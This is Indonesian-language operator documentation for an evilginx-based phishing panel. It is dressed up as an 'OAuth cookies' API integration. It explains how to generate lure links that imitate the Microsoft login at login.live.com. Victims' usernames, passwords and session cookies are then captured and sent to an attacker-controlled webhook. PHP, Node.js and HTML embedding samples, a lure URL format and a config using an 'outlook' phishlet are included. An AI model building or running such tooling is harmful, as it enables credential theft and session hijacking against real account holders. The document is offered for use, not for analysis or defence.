Lure
Setelan
Integrasi API (OAuth cookies)
Authorization: Bearer <key> atau X-API-KeyEndpoint utama: POST /api/v1/oauth/authorize · Dokumentasi lengkap di panel ↓
Dokumentasi — Integrasi API
OAuth-style cookie capturePasang alur login Microsoft (login.live.com) di situs atau skrip lain. Setelah sukses login, cookies dikirim ke webhook server Anda dan/atau browser di-redirect ke URL Anda.
Keamanan: Simpan API key di backend; jangan panggil API dari JavaScript publik tanpa proxy.
Alur singkat
Base URL API
https://panel-anda:9444 (field Public base URL panel di atas, atau origin panel saat ini). Bukan domain lure.
cPanel/WHM: port 443 untuk httpd; evilginx backend biasanya 8444; panel publik 9444 (Apache → 9443).
Autentikasi
Authorization: Bearer <API_KEY> # atau X-API-Key: <API_KEY>
1. Membuat URL login
POST /api/v1/oauth/authorize
{
"state": "csrf-token-anda",
"redirect_uri": "https://aplikasi-anda.com/oauth/done",
"webhook_uri": "https://aplikasi-anda.com/api/ms-cookies",
"lure_path": "/kgfBLBjS"
}
| Field | Wajib | Keterangan |
|---|---|---|
state | Disarankan | Dikembalikan di redirect & webhook (CSRF) |
redirect_uri | Disarankan | URL absolut — browser user setelah capture |
webhook_uri | Opsional | Server Anda terima POST JSON cookies |
lure_path | Opsional | Default dari setelan integrasi |
Response: authorization_url, integration_state, poll_url. Arahkan user ke authorization_url.
2. Redirect browser
{redirect_uri}?status=success&state={state}&integration_state={...}&session_id={sid}
Cookies tidak ada di query string — hanya webhook atau poll.
3. Webhook (server)
POST {webhook_uri}
Content-Type: application/json
{
"event": "session.captured",
"integration_state": "...",
"state": "...",
"status": "success",
"capture": {
"session_id": "...",
"username": "user@outlook.com",
"password": "...",
"valid": true,
"cookies": [ ... ],
"captured_at": "RFC3339"
}
}
Jika Sign webhooks aktif: header X-Signature-SHA256 = HMAC-SHA256(body, API key pertama).
4. Poll (opsional)
GET /api/v1/oauth/session?integration_state=...
Status: pending | success | incomplete. Field capture berisi cookies setelah sukses.
5. Health check
GET /api/v1/oauth/ping
Contoh PHP (backend)
<?php
$api = '';
$key = getenv('MS_LOGIN_API_KEY');
$ch = curl_init($api . '/api/v1/oauth/authorize');
curl_setopt_array($ch, [
CURLOPT_POST => true,
CURLOPT_HTTPHEADER => [
'Authorization: Bearer ' . $key,
'Content-Type: application/json',
],
CURLOPT_POSTFIELDS => json_encode([
'state' => bin2hex(random_bytes(16)),
'redirect_uri' => 'https://situs-anda.com/selesai',
'webhook_uri' => 'https://situs-anda.com/hooks/ms-login',
]),
CURLOPT_RETURNTRANSFER => true,
]);
$resp = json_decode(curl_exec($ch), true);
header('Location: ' . $resp['authorization_url']);
Contoh Node.js (webhook)
const crypto = require('crypto');
app.post('/hooks/ms-login', express.json(), (req, res) => {
const sig = req.get('X-Signature-SHA256');
const raw = JSON.stringify(req.body);
const expect = crypto.createHmac('sha256', process.env.MS_LOGIN_API_KEY)
.update(raw).digest('hex');
if (sig && sig !== expect) return res.status(401).end();
const cookies = req.body.capture?.cookies;
res.json({ ok: true });
});
Embed HTML (via backend)
<button id="ms">Sign in with Microsoft</button>
<script>
document.getElementById('ms').onclick = async () => {
const r = await fetch('/your-backend/ms-start', { method: 'POST' });
const { authorization_url } = await r.json();
location.href = authorization_url;
};
</script>
Lure tanpa API (allow_plain_params)
https://login.domainmu.com/kgfBLBjS?state=abc&redirect_uri=https%3A%2F%2Fapp.com%2Fdone&webhook_uri=https%3A%2F%2Fapp.com%2Fhook
Alias: rd = redirect_uri, cb = webhook_uri.
config.json (contoh)
"integration": {
"enabled": true,
"api_keys": ["sk_live_..."],
"default_phishlet": "outlook",
"default_lure_path": "/kgfBLBjS",
"allow_plain_params": true,
"webhook_timeout_sec": 15,
"sign_webhooks": true,
"public_base_url": "https://IP:9444",
"include_password_in_webhook": true
}
Troubleshooting
| Masalah | Cek |
|---|---|
| 401 invalid_api_key | Key di header & daftar API keys di panel |
| Webhook tidak terima | HTTPS dapat dijangkau VPS; firewall; timeout |
| Redirect tetap /expired-ds | Isi redirect_uri absolut di authorize / query lure |
| integration disabled | Centang aktif + Simpan + restart evilginx |
Salinan file di server: ms-login/docs/INTEGRATION.md · ms-login/config/integration.example.json